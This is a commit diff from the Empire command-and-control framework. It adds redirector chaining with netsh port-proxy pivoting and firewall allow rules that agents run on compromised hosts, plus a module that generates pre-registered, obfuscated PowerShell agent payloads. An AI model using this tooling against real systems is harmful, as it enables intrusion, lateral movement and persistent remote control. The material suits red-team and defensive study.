Skip to content

Commit

Permalink
Added redirector chaining and proper tunneling (#142)
Browse files Browse the repository at this point in the history
* remove compiled csharp files during reset

* Fixed external generate_agent

* fixed redirector to tunnel all traffic

* added agent chaining using redirectors

* added firewall rules

* fixed extra code

* updated try/catch
  • Loading branch information
Cx01N committed Jun 10, 2021
1 parent b829418 commit 8916648
Show file tree
Hide file tree
Showing 6 changed files with 94 additions and 126 deletions.
35 changes: 9 additions & 26 deletions empire/server/common/listeners.py
Original file line number Diff line number Diff line change
Expand Up @@ -188,32 +188,12 @@ def set_listener_option(self, listenerName, option, value):
return True

elif option in listenerObject.options:
if listenerObject.options[option]['Strict'] and option not in listenerObject.options[option]['SuggestedValues']:
if listenerObject.options.get(option, {}).get('Strict', False) and \
option not in listenerObject.options.get(option, {}).get('SuggestedValues', []):
return False
listenerObject.options[option]['Value'] = value
return True

# if option.lower() == 'type':
# if value.lower() == "hop":
# # set the profile for hop.php for hop
# parts = self.options['DefaultProfile']['Value'].split("|")
# self.options['DefaultProfile']['Value'] = "/hop.php|" + "|".join(parts[1:])


# if parts[0].lower() == 'defaultprofile' and os.path.exists(parts[1]):
# try:
# open_file = open(parts[1], 'r')
# profile_data_raw = open_file.readlines()
# open_file.close()

# profile_data = [l for l in profile_data_raw if not l.startswith('#' and l.strip() != '')]
# profile_data = profile_data[0].strip("\"")

# self.mainMenu.listeners.set_listener_option(parts[0], profile_data)

# except Exception:
# print helpers.color("[!] Error opening profile file %s" % (parts[1]))

else:
print(helpers.color('[!] Error: invalid option name'))
return False
Expand Down Expand Up @@ -307,15 +287,18 @@ def start_existing_listeners(self):
try:
listener_module = self.loadedListeners[module_name]

for option, value in options.items():
listener_module.options[option]['Value'] = value['Value']

print(helpers.color("[*] Starting listener '%s'" % listener_name))
if module_name == 'redirector':
#todo: fix redirector listeners when empire is resetarted
print(helpers.color("[!] Redirector listeners may not work when Empire is restarted."))
#listener_module.options.update(options)
success = True
else:
for option, value in options.items():
listener_module.options[option]['Value'] = value['Value']
success = listener_module.start(name=listener_name)

print(helpers.color("[*] Starting listener '%s'" % listener_name))

if success:
listener_options = copy.deepcopy(listener_module.options)
self.activeListeners[listener_name] = {'moduleName': module_name, 'options': listener_options}
Expand Down
7 changes: 5 additions & 2 deletions empire/server/common/modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -150,6 +150,9 @@ def _validate_module_params(self, module: PydanticModule, params: Dict[str, str]
elif option.required:
return None, f'required module option missing: {option.name}'

if module.name == 'generate_agent':
return options, None

session_id = params['Agent']
agent = self.main_menu.agents.get_agent_db(session_id)

Expand Down Expand Up @@ -335,8 +338,8 @@ def _load_module(self, yaml_module, root_path, file_path: str):
# extract just the module name from the full path
module_name = file_path.split(root_path)[-1][0:-5]

if root_path != f"{self.main_menu.installPath}/modules/":
module_name = f"external/{module_name}"
#if root_path != f"{self.main_menu.installPath}/modules/":
# module_name = f"external/{module_name}"

if file_path.lower().endswith('.covenant.yaml'):
my_model = PydanticModule(**_convert_covenant_to_empire(yaml_module, file_path))
Expand Down
23 changes: 14 additions & 9 deletions empire/server/listeners/redirector.py
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,7 @@ def default_response(self):
(i.e. a default HTTP page), put the generation here.
"""
print(helpers.color("[!] default_response() not implemented for pivot listeners"))
return ''
return b''

def validate_options(self):
"""
Expand Down Expand Up @@ -737,8 +737,7 @@ def start(self, name=''):
# logic for powershell agents
script = """
function Invoke-Redirector {
param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
if($ShowAll){
$out = netsh interface portproxy show all
if($out){
Expand All @@ -749,6 +748,7 @@ def start(self, name=''):
}
}
elseif($Reset){
Netsh.exe advfirewall firewall del rule name="$FirewallName"
$out = netsh interface portproxy reset
if($out){
$out
Expand Down Expand Up @@ -788,8 +788,8 @@ def start(self, name=''):
$ConnectPort = $parts[2]
}
if($ConnectPort -ne ""){
$out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
$out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
if($out){
$out
}
Expand All @@ -806,7 +806,11 @@ def start(self, name=''):
Invoke-Redirector"""

script += " -ConnectHost %s" % (listenerOptions['Host']['Value'])
script += " -ConnectPort %s" % (listenerOptions['Port']['Value'])
script += " -ListenAddress %s" % (tempOptions['internalIP']['Value'])
script += " -ListenPort %s" % (tempOptions['ListenPort']['Value'])
script += " -FirewallName %s" % (sessionID)


# clone the existing listener options
self.options = copy.deepcopy(listenerOptions)
Expand Down Expand Up @@ -871,8 +875,7 @@ def shutdown(self, name=''):

script = """
function Invoke-Redirector {
param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
if($ShowAll){
$out = netsh interface portproxy show all
if($out){
Expand All @@ -883,6 +886,7 @@ def shutdown(self, name=''):
}
}
elseif($Reset){
Netsh.exe advfirewall firewall del rule name="$FirewallName"
$out = netsh interface portproxy reset
if($out){
$out
Expand Down Expand Up @@ -922,8 +926,8 @@ def shutdown(self, name=''):
$ConnectPort = $parts[2]
}
if($ConnectPort -ne ""){
$out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
$out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
if($out){
$out
}
Expand All @@ -940,6 +944,7 @@ def shutdown(self, name=''):
Invoke-Redirector"""

script += " -Reset"
script += " -FirewallName %s" % (sessionID)

self.mainMenu.agents.add_agent_task_db(sessionID, "TASK_SHELL", script)
msg = "Tasked agent to uninstall Pivot listener "
Expand Down
114 changes: 29 additions & 85 deletions empire/server/modules/external/generate_agent.py
Original file line number Diff line number Diff line change
@@ -1,90 +1,33 @@
from __future__ import print_function

import os
import string
# Empire imports
import os

from builtins import object
from builtins import str
from typing import Dict

from empire.server.common import helpers
from empire.server.common.module_models import PydanticModule
from empire.server.utils import data_util
from empire.server.utils.module_util import handle_error_message


class Module(object):

def __init__(self, mainMenu, params=[]):

self.info = {
'Name': 'Generate Agent',

'Author': ['@harmj0y'],

'Description': ("Generates an agent code instance for a specified listener, "
"pre-staged, and register the agent in the database. This allows "
"the agent to begin beconing behavior immediately."),

'Software': '',

'Techniques': [''],

'Background': True,

'OutputExtension': None,

'NeedsAdmin': False,

'OpsecSafe': True,

'Language': 'Python',

'Comments': []
}

# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener': {
'Description': 'Listener to generate the agent for.',
'Required': True,
'Value': ''
},
'Language': {
'Description': 'Language to generate for the agent.',
'Required': True,
'Value': ''
},
'OutFile': {
'Description': 'Output file to write the agent code to.',
'Required': True,
'Value': '/tmp/agent'
}
}

# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu

for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value

def execute(self):

listener_name = self.options['Listener']['Value']
language = self.options['Language']['Value']
out_file = self.options['OutFile']['Value']

if listener_name not in self.mainMenu.listeners.activeListeners:
@staticmethod
def generate(main_menu, module: PydanticModule, params: Dict, Listener: str = "", Language: str = "", OutFile: str = ""):

listener_name = params['Listener']
language = params['Language']
out_file = params['OutFile']

if listener_name not in main_menu.listeners.activeListeners:
return handle_error_message("[!] Error: %s not an active listener")

active_listener = self.mainMenu.listeners.activeListeners[listener_name]

active_listener = main_menu.listeners.activeListeners[listener_name]
chars = string.ascii_uppercase + string.digits
session_id = helpers.random_string(length=8, charset=chars)

staging_key = active_listener['options']['StagingKey']['Value']
delay = active_listener['options']['DefaultDelay']['Value']
jitter = active_listener['options']['DefaultJitter']['Value']
Expand All @@ -96,29 +39,28 @@ def execute(self):
host = active_listener['options']['Host']['Value']
else:
host = ''

# add the agent
self.mainMenu.agents.add_agent(session_id, '0.0.0.0', delay, jitter, profile, kill_date, working_hours,
main_menu.agents.add_agent(session_id, '0.0.0.0', delay, jitter, profile, kill_date, working_hours,
lost_limit,
listener=listener_name, language=language)

# get the agent's session key
session_key = self.mainMenu.agents.get_agent_session_key_db(session_id)

agent_code = self.mainMenu.listeners.loadedListeners[active_listener['moduleName']].generate_agent(
session_key = main_menu.agents.get_agent_session_key_db(session_id)
agent_code = main_menu.listeners.loadedListeners[active_listener['moduleName']].generate_agent(
active_listener['options'], language=language)

if language.lower() == 'powershell':
agent_code += "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';" % (
host, staging_key, session_key, session_id)
else:
return handle_error_message('[!] Only PowerShell agent generation is supported at this time.')

# Get the random function name generated at install and patch the stager with the proper function name
agent_code = data_util.keyword_obfuscation(agent_code)

# TODO: python agent generation - need to patch in crypto functions from the stager...

print(helpers.color("[+] Pre-generated agent '%s' now registered." % session_id))

# increment the supplied file name appropriately if it already exists
Expand All @@ -132,17 +74,19 @@ def execute(self):
else:
base = '.'.join(parts[0:-1])
ext = parts[-1]

if ext:
out_file = "%s%s.%s" % (base, i, ext)
else:
out_file = "%s%s" % (base, i)
i += 1

f = open(out_file, 'w')
f.write(agent_code)
f.close()

print(helpers.color("[*] %s agent code for listener %s with sessionID '%s' written out to %s" % (
language, listener_name, session_id, out_file)))
print(helpers.color("[*] Run sysinfo command after agent starts checking in!"))

return agent_code
30 changes: 30 additions & 0 deletions empire/server/modules/external/generate_agent.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
name: generate_agent
authors:
- '@harmj0y'
description: Generates an agent code instance for a specified listener, pre-staged, and register the agent in the database. This allows the agent to begin beconing behavior immediately.
software:
techniques:
- T1214
- T1003
background: true
output_extension:
needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
comments:
options:
- name: Listener
description: Listener to generate the agent for.
required: true
value: ''
- name: Language
description: Language to generate for the agent.
required: true
value: ''
- name: OutFile
description: Output file to write the agent code to.
required: True
value: '/tmp/agent'
advanced:
custom_generate: true
11 changes: 7 additions & 4 deletions empire/server/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -1034,10 +1034,13 @@ def task_agent_shell(agent_name):

command = request.json['command']

# add task command to agent taskings
msg = "tasked agent %s to run command %s" % (agent.session_id, command)
main.agents.save_agent_log(agent.session_id, msg)
task_id = main.agents.add_agent_task_db(agent.session_id, "TASK_SHELL", command, uid=g.user['id'])
if command == 'sysinfo':
task_id = main.agents.add_agent_task_db(agent_name, "TASK_SYSINFO")
else:
# add task command to agent taskings
msg = "tasked agent %s to run command %s" % (agent.session_id, command)
main.agents.save_agent_log(agent.session_id, msg)
task_id = main.agents.add_agent_task_db(agent.session_id, "TASK_SHELL", command, uid=g.user['id'])

return jsonify({'success': True, 'taskID': task_id})

Expand Down

0 comments on commit 8916648

Please sign in to comment.